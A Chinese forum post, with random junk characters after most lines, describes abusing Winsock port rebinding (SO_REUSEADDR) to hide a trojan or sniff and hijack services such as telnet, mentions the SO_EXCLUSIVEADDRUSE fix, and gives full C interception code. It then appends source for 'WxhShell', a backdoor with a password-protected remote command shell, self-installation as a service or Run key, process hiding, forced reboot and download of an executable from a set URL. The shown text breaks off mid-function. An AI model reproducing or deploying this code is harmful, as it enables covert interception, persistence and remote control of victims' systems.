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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H<`<5M8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hPB^|#}  
*P.Dbb8vn  
  saddr.sin_family = AF_INET; !ENDQ?1  
3pF7} P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kZ>Xl- LV  
$|V@3`0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @ysc?4% q  
LnZC)cL P/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }[>X}"_e  
H ]x-s  
  这意味着什么?意味着可以进行如下的攻击: /$ :w8  
)Z0bMO<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *VPj BzcH  
R@8pKCL.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B3V;  
HDY2<Hzc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 EDf"1b{PX  
0;V "64U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,p\:Z3{ZH  
Adma~]T9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z=&cBv4Fs  
f6r~Ycf,f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $ rU"Krf67  
;"K;D@xzh]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %7y8a`}  
zG. \xmp  
  #include vk&6L%_~a  
  #include ^I CSs]}1  
  #include Y%1 94fY$  
  #include    -0>gq$/N=^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KW1b #g%Z  
  int main() }@XokRk  
  { qG<3H!Z!ky  
  WORD wVersionRequested; Lq6R_ud p  
  DWORD ret; W:gpcR]>  
  WSADATA wsaData; # zbAA<f  
  BOOL val; .*Mp+Q}^  
  SOCKADDR_IN saddr; ~stJO])a  
  SOCKADDR_IN scaddr; <Cbi5DtR  
  int err; NrK.DY4  
  SOCKET s; &{uj3s&C   
  SOCKET sc; ni gn" r  
  int caddsize; hRwj-N%C  
  HANDLE mt; MoX~ZewWR  
  DWORD tid;   9{KL^O?g  
  wVersionRequested = MAKEWORD( 2, 2 ); \~!!h.xR  
  err = WSAStartup( wVersionRequested, &wsaData ); TF1,7Qd  
  if ( err != 0 ) { ]~K&b96(  
  printf("error!WSAStartup failed!\n"); "-T[D9(A  
  return -1; G=ly .  
  } (E{}iq@2  
  saddr.sin_family = AF_INET; k:QeZn(  
   <9bfX 91  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l{o,"P"  
LpYG!Kl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {TL.2  
  saddr.sin_port = htons(23); ?XIB\7}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2Pm[ kD4E=  
  { K8bKTG\  
  printf("error!socket failed!\n"); =f/CBYNw@V  
  return -1; <%iRa$i5  
  } xk*&zAt  
  val = TRUE; S T1V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .US=fWyrb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [2$mo;E?  
  { ?`lD|~  
  printf("error!setsockopt failed!\n"); \5iMr[s  
  return -1; RH}i=  
  } mfqnRPZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;0vCZaEF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L~+/LV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \}Al85  
~jR4%VF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /wI"oHZd  
  { K2> CR$L  
  ret=GetLastError(); { )-8P  
  printf("error!bind failed!\n"); !sG# 3sUe[  
  return -1; (hJ&`Tt  
  } tiGBjTPt  
  listen(s,2); [} zzG@g,J  
  while(1) l@)`Q  
  { 8g0VTY4$jP  
  caddsize = sizeof(scaddr); lHUd<kEC  
  //接受连接请求 YO'aX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bEKhU\@=J  
  if(sc!=INVALID_SOCKET) %b[>eIJU#  
  { 2{Y~jYt{h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z?^oy.  
  if(mt==NULL) re~T,PPM  
  { ZfMs6`Wv 1  
  printf("Thread Creat Failed!\n"); KTq+JT u  
  break; 6Hp+?mmh  
  } >t_h/:JZ)  
  } "2~L  
  CloseHandle(mt); _70Z1_ ;  
  } @V&c=8) 8  
  closesocket(s); FS)"MDs  
  WSACleanup(); * '_(.Z:  
  return 0; '^.`mT'P  
  }   9Vru,7g  
  DWORD WINAPI ClientThread(LPVOID lpParam) U4.$o ]58  
  { IIG9&F$G  
  SOCKET ss = (SOCKET)lpParam; f DwK5?  
  SOCKET sc; Zz1nXUZ  
  unsigned char buf[4096]; @y'0_Y0-B  
  SOCKADDR_IN saddr; u4h0s1iI  
  long num; ^)y8X.iO  
  DWORD val; Y b=77(Q V  
  DWORD ret; 3=Q:{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =%B5TBG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6_s(Kx>j  
  saddr.sin_family = AF_INET; |M&4[ka}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3K=%I+G(4  
  saddr.sin_port = htons(23); p0[+Zm{#l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .VCF[AleS  
  { D 5bPF~q  
  printf("error!socket failed!\n"); )bWopc  
  return -1; k8?G%/TD  
  } )ViBH\.*p  
  val = 100; 9=mc3m:Tb(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1<tJ3>Xl  
  { i!x>)E  
  ret = GetLastError(); P8(hHuO  
  return -1; ^Z-oO#)h#  
  } uzI=.j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u"uL,w 1-  
  { [!De|,u(^  
  ret = GetLastError(); 57~y 7/0  
  return -1; Ptc+ypTu  
  } -&COI-P8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VV{>Kq+&,v  
  { aeISb83Y|  
  printf("error!socket connect failed!\n"); }T0O~c{$i  
  closesocket(sc); PY;tu#W!%  
  closesocket(ss); <.mH-Y5i  
  return -1; 9Ta0Li  
  } dU#-;/}o  
  while(1) CLTkyS)C  
  { ;=7K*npT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V)5K/ U{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *a\6X( ~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W6Mq:?+D  
  num = recv(ss,buf,4096,0); !~&& &85  
  if(num>0) xeL"FzF:V  
  send(sc,buf,num,0); S=0DQ19  
  else if(num==0) *s,[Uy![  
  break; m<49<O6o  
  num = recv(sc,buf,4096,0); ?G5,}%  
  if(num>0) _6Y+E"@zs  
  send(ss,buf,num,0); lXg5UrW  
  else if(num==0) P}]o$nWT  
  break; xbBqR _ H_  
  } cGiL9|k  
  closesocket(ss); *f3StX  
  closesocket(sc); +J|H~`  
  return 0 ; |{&M#qXe  
  } )S 7+y6f&*  
r\d(*q3B  
43pe6 ^.  
========================================================== |mP};&b  
^$5 0[  
下边附上一个代码,,WXhSHELL A#6zI NK#B  
LQHL4jRXU  
========================================================== {O9(<g  
8Z0x*Ssk  
#include "stdafx.h" @zC6`  
d\ 8v VZ  
#include <stdio.h> W&=OtN U!  
#include <string.h> Lo~ ;pvv  
#include <windows.h> 4 s ax  
#include <winsock2.h> puJB&u"4L  
#include <winsvc.h> o]~\u{o#.  
#include <urlmon.h> -?-XO<I  
h7 E~I J  
#pragma comment (lib, "Ws2_32.lib") +4.s4&f)  
#pragma comment (lib, "urlmon.lib")  #D4  
{BmqUoZrC  
#define MAX_USER   100 // 最大客户端连接数 G0{Z@CvO'  
#define BUF_SOCK   200 // sock buffer 4SZ,X^]I>  
#define KEY_BUFF   255 // 输入 buffer B ytx.[zbX  
{Q3OT  
#define REBOOT     0   // 重启 8 ECX[fw  
#define SHUTDOWN   1   // 关机 X3\PVsH$K  
6,A|9UX=`  
#define DEF_PORT   5000 // 监听端口 d?8OY  
*m}8L%<HT  
#define REG_LEN     16   // 注册表键长度 X>Vc4n<}  
#define SVC_LEN     80   // NT服务名长度 =w! ik9  
\c -m\|  
// 从dll定义API Hi A E9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vw1>d+<~-)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }! EVf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '< U&8?S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -BH/)$-$  
O|V0WiY<  
// wxhshell配置信息 !,$#i  
struct WSCFG { K9lekevB  
  int ws_port;         // 监听端口 ZQ]qJDk  
  char ws_passstr[REG_LEN]; // 口令 mUa#sTm  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8u2k-_9  
  char ws_regname[REG_LEN]; // 注册表键名 hhze5_$_  
  char ws_svcname[REG_LEN]; // 服务名 $ ]s^M=8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N<9 c/V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y)fMVD"(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zak\%yY`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  yf:Vhr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /[<F f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2ZY$/  
&em~+83  
}; A$=ny6  
:$$~$P  
// default Wxhshell configuration WM'!|lg  
struct WSCFG wscfg={DEF_PORT, d ItfR'$  
    "xuhuanlingzhe", ~;3yjO)l?)  
    1, z'U.}27&o  
    "Wxhshell", KClkPL!jP  
    "Wxhshell", y#j7vO  
            "WxhShell Service", 4<i#TCGex3  
    "Wrsky Windows CmdShell Service", XI\Slq  
    "Please Input Your Password: ", LN|(Z*  
  1, 5rows]EJJl  
  "http://www.wrsky.com/wxhshell.exe", Jy)=TJ!y  
  "Wxhshell.exe" w'K7$F51  
    }; i%-yR DIX  
|%C2 cx  
// 消息定义模块 w$:\!FImx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [kg?q5F)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !0W(f.A{K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `NN P<z+\  
char *msg_ws_ext="\n\rExit."; 8Yh'/,o=L#  
char *msg_ws_end="\n\rQuit."; ~.: { Ik]  
char *msg_ws_boot="\n\rReboot..."; :C*}Yg  
char *msg_ws_poff="\n\rShutdown..."; ]E-/}Ysz  
char *msg_ws_down="\n\rSave to "; >qo!#vJc a  
?6CLUu|7n  
char *msg_ws_err="\n\rErr!"; R iLl\S#  
char *msg_ws_ok="\n\rOK!"; '#7k9\  
QPVi& *8_  
char ExeFile[MAX_PATH]; ^%$IdDx  
int nUser = 0; 9;+&}:IVS  
HANDLE handles[MAX_USER]; h$&Tg_/'#D  
int OsIsNt; VcrMlcnO  
@Chl>s  
SERVICE_STATUS       serviceStatus; $|=| "/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]lwf6'  
&<N8d(  
// 函数声明 KnkmGy  
int Install(void); ^ Kz ?SO  
int Uninstall(void); :}e<  
int DownloadFile(char *sURL, SOCKET wsh); |M;Nq@bRv  
int Boot(int flag); MJ JC6:  
void HideProc(void); [P &B  
int GetOsVer(void); EHwb?{  
int Wxhshell(SOCKET wsl); klUV&O+=%  
void TalkWithClient(void *cs); -TF},V~  
int CmdShell(SOCKET sock); l zFiZx  
int StartFromService(void); Wq A) V,E  
int StartWxhshell(LPSTR lpCmdLine); uOA/r@7I}S  
6TW<,SM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >%tP"x{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6{I7)@>N   
v6 U!(x  
// 数据结构和表定义 L<!h3n  
SERVICE_TABLE_ENTRY DispatchTable[] = b-_l&;NWg  
{ ;0dH@b  
{wscfg.ws_svcname, NTServiceMain}, &V?+Y2  
{NULL, NULL} nLm'a_  
}; ZWCsrV*;  
VeWh9:"bJ  
// 自我安装 *:CTIV5N0  
int Install(void) M7/5e3  
{ NCKR<!(  
  char svExeFile[MAX_PATH]; -s 0SQe{!_  
  HKEY key; p%$r\G-x  
  strcpy(svExeFile,ExeFile); %@PcQJg U<  
N/o?\q8  
// 如果是win9x系统,修改注册表设为自启动 dHY@V> D'-  
if(!OsIsNt) { PA^*|^;Xh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { > SZ95@Oh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;5/Se"Nd  
  RegCloseKey(key); nGVr\u9z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SD^::bH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c,r6+oX  
  RegCloseKey(key); z\|<h=EU  
  return 0; uU)t_W&-J  
    } >GIQT ?O6  
  } E:9RskI  
} &}u_e`A  
else { w: BJ4bi=  
w~+*Vd~U  
// 如果是NT以上系统,安装为系统服务 D+!T5)>(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K}cZK  
if (schSCManager!=0) l-XfUjJ  
{ Qr R+3kxM  
  SC_HANDLE schService = CreateService <sC(a7i1  
  ( fQ9af)d  
  schSCManager, NuO@N r  
  wscfg.ws_svcname, DNmC   
  wscfg.ws_svcdisp, \Q#pu;Y*N]  
  SERVICE_ALL_ACCESS, Zna6-0o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~;HASHu  
  SERVICE_AUTO_START, Kh3i.gm7g  
  SERVICE_ERROR_NORMAL, [\ku,yd%0  
  svExeFile, \;-Yz  
  NULL, niS\0ZA  
  NULL, <2(X?,N5BD  
  NULL, (h wzA *(c  
  NULL, @>z.chM;  
  NULL <IZr..|O  
  ); t 9(,JC0  
  if (schService!=0) iK4\N;H  
  { $D`Kz*/.  
  CloseServiceHandle(schService); OkRb3}  
  CloseServiceHandle(schSCManager); 2po8n _  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <\~@l^lU  
  strcat(svExeFile,wscfg.ws_svcname); +IXr4M&3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ls2,+yo]>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ar@,SKU'K  
  RegCloseKey(key); ~[!Tpq5  
  return 0; d*TH$-F!p  
    } yHY2 SXm  
  } _Q #[IH9  
  CloseServiceHandle(schSCManager); S>5w=RK   
} *fY*Wy9  
} 3x(Y+ ymP  
bSTori5  
return 1; -n@,r%`UK  
} t,Tq3zB  
=>S[Dh  
// 自我卸载 BHpay  
int Uninstall(void) &4wSX{c/P  
{ d1yLDj?  
  HKEY key; VKPsg  
k'X"jon  
if(!OsIsNt) { xRZ K&vkKE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "X<V>q$0~c  
  RegDeleteValue(key,wscfg.ws_regname); `$"{-  
  RegCloseKey(key); 9F3aT'3#!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #F/W_G7v  
  RegDeleteValue(key,wscfg.ws_regname); O4nA ?bA  
  RegCloseKey(key); fm#7}Y  
  return 0; D8k >f ]  
  } "vYjL&4h  
} ([m4 dr  
} <OiH%:G/1  
else { ke6,&s%{j  
MNh:NFCRA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {%2p(5FB  
if (schSCManager!=0) 5bZ0}^FYF  
{ VVF9X(^rQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %M_F/O  
  if (schService!=0) mb'{@  
  { ^!m%:r7Dr  
  if(DeleteService(schService)!=0) { 3 JlM{N6+  
  CloseServiceHandle(schService); pl}W|kW}  
  CloseServiceHandle(schSCManager); nF-l4=  
  return 0; B8wGWZ@  
  } 5-4  
  CloseServiceHandle(schService); v%#@.D!)  
  } )"Ujx`]4r  
  CloseServiceHandle(schSCManager); f !7fz~&Sh  
} ,jnaa(n  
} JrxQ.,*i  
:MYLap&L&  
return 1;  zW?=^bE  
} ~- aUw}U  
2*W|s7cc  
// 从指定url下载文件 uKY1AC__  
int DownloadFile(char *sURL, SOCKET wsh) {h|kx/4{m  
{ CT\rx>[J.6  
  HRESULT hr; s4Jy96<  
char seps[]= "/"; W T @XHwt  
char *token; 4U$M0 =  
char *file; OHY|< &*  
char myURL[MAX_PATH]; \"I418T K  
char myFILE[MAX_PATH]; 9qq6P!  
0W 1bZPM  
strcpy(myURL,sURL); p;%5o0{1  
  token=strtok(myURL,seps); e[Z-&'  
  while(token!=NULL) [IyC}lSW^-  
  { aYtW!+#  
    file=token; ^c}kVQ\g3  
  token=strtok(NULL,seps);  >YdLB@  
  } [pt U}  
[$]-W$j+  
GetCurrentDirectory(MAX_PATH,myFILE); D7IhNWrgj  
strcat(myFILE, "\\"); B_@p@6z  
strcat(myFILE, file); -g"Wi@Qr  
  send(wsh,myFILE,strlen(myFILE),0); >N0L  
send(wsh,"...",3,0); cI6Td*vM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bi/E{k,  
  if(hr==S_OK) tH vP0RxM  
return 0; )*}?EI4.  
else |@B|o-  
return 1; V2yX;u  
G[d]t$f=  
} 6 G ,cc  
zo ]-,u  
// 系统电源模块 uowdzJ7  
int Boot(int flag) x=W5e ^0?  
{ 1Si$Q  
  HANDLE hToken; -LFk7a  
  TOKEN_PRIVILEGES tkp; Yi`DRkp]3  
z2A,*|I  
  if(OsIsNt) { 9+Wf*:*EW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NwKj@Jos  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f(EO|d^u  
    tkp.PrivilegeCount = 1; 1#zD7b~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i\>?b)a>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^= kr`5  
if(flag==REBOOT) { M^n^wz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V_4=0(  
  return 0; MHCwjo"  
} CQ{pv3)  
else { /BS yanro  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -|:mRAe  
  return 0; Q}^qu6  
} I 'ha=PeVn  
  } =+VDb5= TV  
  else { msq2/sS~  
if(flag==REBOOT) { ziQ&M\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wq25,M'  
  return 0; gP ^A  
} I!Fd~g9I4  
else { Vc8w[oS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `Gg,oCQg  
  return 0; 5p7i9"tgn  
} KO))2GET  
} RRpCWc Iv"  
k]c$SzJ>/  
return 1; Gg^gK*D  
} pe!"!xJE  
R$2\Xl@qQF  
// win9x进程隐藏模块 i66/2BUh.  
void HideProc(void) SO`b+B  
{ AgOti]`aR  
C)cuy7<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i2 )$%M&  
  if ( hKernel != NULL ) +WCV"m  
  { L7yEgYB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [KEw5-=i@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7#P Q1UWl  
    FreeLibrary(hKernel); (ul_bA+  
  } %y+v0.aWH+  
bc6|]kB:  
return; =>e> r~cW  
} +[V.yY/t|>  
pWeD,!f  
// 获取操作系统版本 Wm!cjGK  
int GetOsVer(void) \ 5#eBJ  
{ IRsyy\[kp8  
  OSVERSIONINFO winfo; cOdgBi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /vLW{%  
  GetVersionEx(&winfo); DH])Q5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .aC/ g?U  
  return 1; 2t3)$\ylQp  
  else AD7&-=p&w  
  return 0; 0>3Sn\gZ(  
} F ^)( 7}ph  
,/eAns`ZU  
// 客户端句柄模块 cZ ,}1?!  
int Wxhshell(SOCKET wsl) Cv< s|  
{ ^= qL[S6/M  
  SOCKET wsh; M?qvI  
  struct sockaddr_in client; yh+.Yn=+  
  DWORD myID; =]LAL w  
eB<R"Yvi  
  while(nUser<MAX_USER) EuKkIr/(  
{ =BO>Bi&&  
  int nSize=sizeof(client); N1JM[<PP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4=l$wg~;  
  if(wsh==INVALID_SOCKET) return 1; 76cT}l&.h8  
r_Pi)MPc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C!|Yz=e  
if(handles[nUser]==0) 5?>ES*  
  closesocket(wsh); >UXNR`?  
else `>HrO}x^  
  nUser++; kq> I?wg  
  } L1MG("R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =<r1sqf  
XJA];9^  
  return 0; Z1U@xQj  
} I(qFIV+H R  
CE|rn8MB  
// 关闭 socket Lr*\LP6jx3  
void CloseIt(SOCKET wsh) [$`%ve  
{ L1QDA}6?_Y  
closesocket(wsh); Eo0/cln|  
nUser--; rouaT  
ExitThread(0); $nNCBC=  
} T:*l+<?  
j;EH[3  
// 客户端请求句柄 ZtX CPA!  
void TalkWithClient(void *cs) KAnq8B!h  
{ (JT 273  
2I_~] X53[  
  SOCKET wsh=(SOCKET)cs; 3yLJWHO%W  
  char pwd[SVC_LEN]; U<6+2y P  
  char cmd[KEY_BUFF]; 9[:TWvd  
char chr[1]; #1p\\Av  
int i,j; 5p~hUP]tT  
SnY{|  
  while (nUser < MAX_USER) { sV]I]DR  
D/Py?<n-B  
if(wscfg.ws_passstr) { 2~%^ y6lR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *_K*GCy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ULzrJbP'7  
  //ZeroMemory(pwd,KEY_BUFF); o`Q.;1(Y'  
      i=0; R#W=*cN  
  while(i<SVC_LEN) { G|z%T`!U1;  
#@P0i^pFTB  
  // 设置超时 lLS7K8;4W  
  fd_set FdRead; qTe@?j  
  struct timeval TimeOut; M[QQi2:&  
  FD_ZERO(&FdRead); =OFx4#6a  
  FD_SET(wsh,&FdRead); 4-oaq'//BT  
  TimeOut.tv_sec=8; mTLJajE/  
  TimeOut.tv_usec=0; ]$I}r= Em  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A5Lzd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \%&eDE0  
Yzw[.(jc}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %RzCJxT  
  pwd=chr[0]; EKEJ9Y+47H  
  if(chr[0]==0xd || chr[0]==0xa) { V+t's*9o3  
  pwd=0; l\ Vr D2j8  
  break; gzN51B=D  
  } r'MA$PiS'  
  i++; +tJ 7ZR%  
    } ZKai*q4?  
gKtgW&PYm  
  // 如果是非法用户,关闭 socket W"&,=wvg2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x kdC -S  
} d-T pY*v  
o_03Io ~Bf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6i%X f i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i ;^Ya  
Pk;YM}  
while(1) { `i<Z< <c>  
?@;#|^k9  
  ZeroMemory(cmd,KEY_BUFF); $dG:29w  
U_WO<uhC  
      // 自动支持客户端 telnet标准   IRTD(7"oyp  
  j=0; ygQe'S{!S\  
  while(j<KEY_BUFF) { -,2CMS#N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .aR9ulS  
  cmd[j]=chr[0]; z7TyS.z  
  if(chr[0]==0xa || chr[0]==0xd) { q}W})  
  cmd[j]=0; )W&{OMr  
  break; ~ 7<M6F  
  } I+ Y{_yw"f  
  j++; oXU b_/  
    } L+}<gQJ(  
13+. >  
  // 下载文件 ^!gq_x  
  if(strstr(cmd,"http://")) { a4pewg'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /i#";~sO  
  if(DownloadFile(cmd,wsh)) uaZHM@D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5]n\E?V'L  
  else U>DCra;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F6aC'<#/  
  } KtGbpcS$f  
  else { :[7O=[pk  
rR 86D  
    switch(cmd[0]) { zjOOEvi  
  Fm*npK  
  // 帮助 l]OzE-*$b  
  case '?': { z"Mk(d@-E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m"QDc[^Ge  
    break; Xt +9z  
  } ILqBa:J  
  // 安装 (>NZYPw^3  
  case 'i': { aemi;61T\  
    if(Install()) opMnLor  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /aIGq/;Y+a  
    else ]sJC%/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c94=>p6  
    break; p}<60O"r$  
    } ?'_6M4UKa  
  // 卸载 gtePo[ZH.P  
  case 'r': { |gIE$rt-~W  
    if(Uninstall()) fH$#vRcq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mhy='AQJ  
    else 9zY6hh**  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SZ}=~yoD(  
    break; k81%$E  
    } 5DVYHN9c|  
  // 显示 wxhshell 所在路径 b` va\ '&3  
  case 'p': { ~]q>}/&YLo  
    char svExeFile[MAX_PATH]; n 4y]h  
    strcpy(svExeFile,"\n\r"); fP\q?X@]E  
      strcat(svExeFile,ExeFile); 'C]Y h."u  
        send(wsh,svExeFile,strlen(svExeFile),0); )]s<Czm%  
    break; 52zE -SY  
    } i1!1'T8  
  // 重启 [:cvy[}v@  
  case 'b': { =E<H_cUS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }pIn3B)  
    if(Boot(REBOOT)) kDI?v6y5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !?=U{^|7y  
    else { _^NyLI%  
    closesocket(wsh); ?^W1WEBm  
    ExitThread(0); FSn3p}FVa  
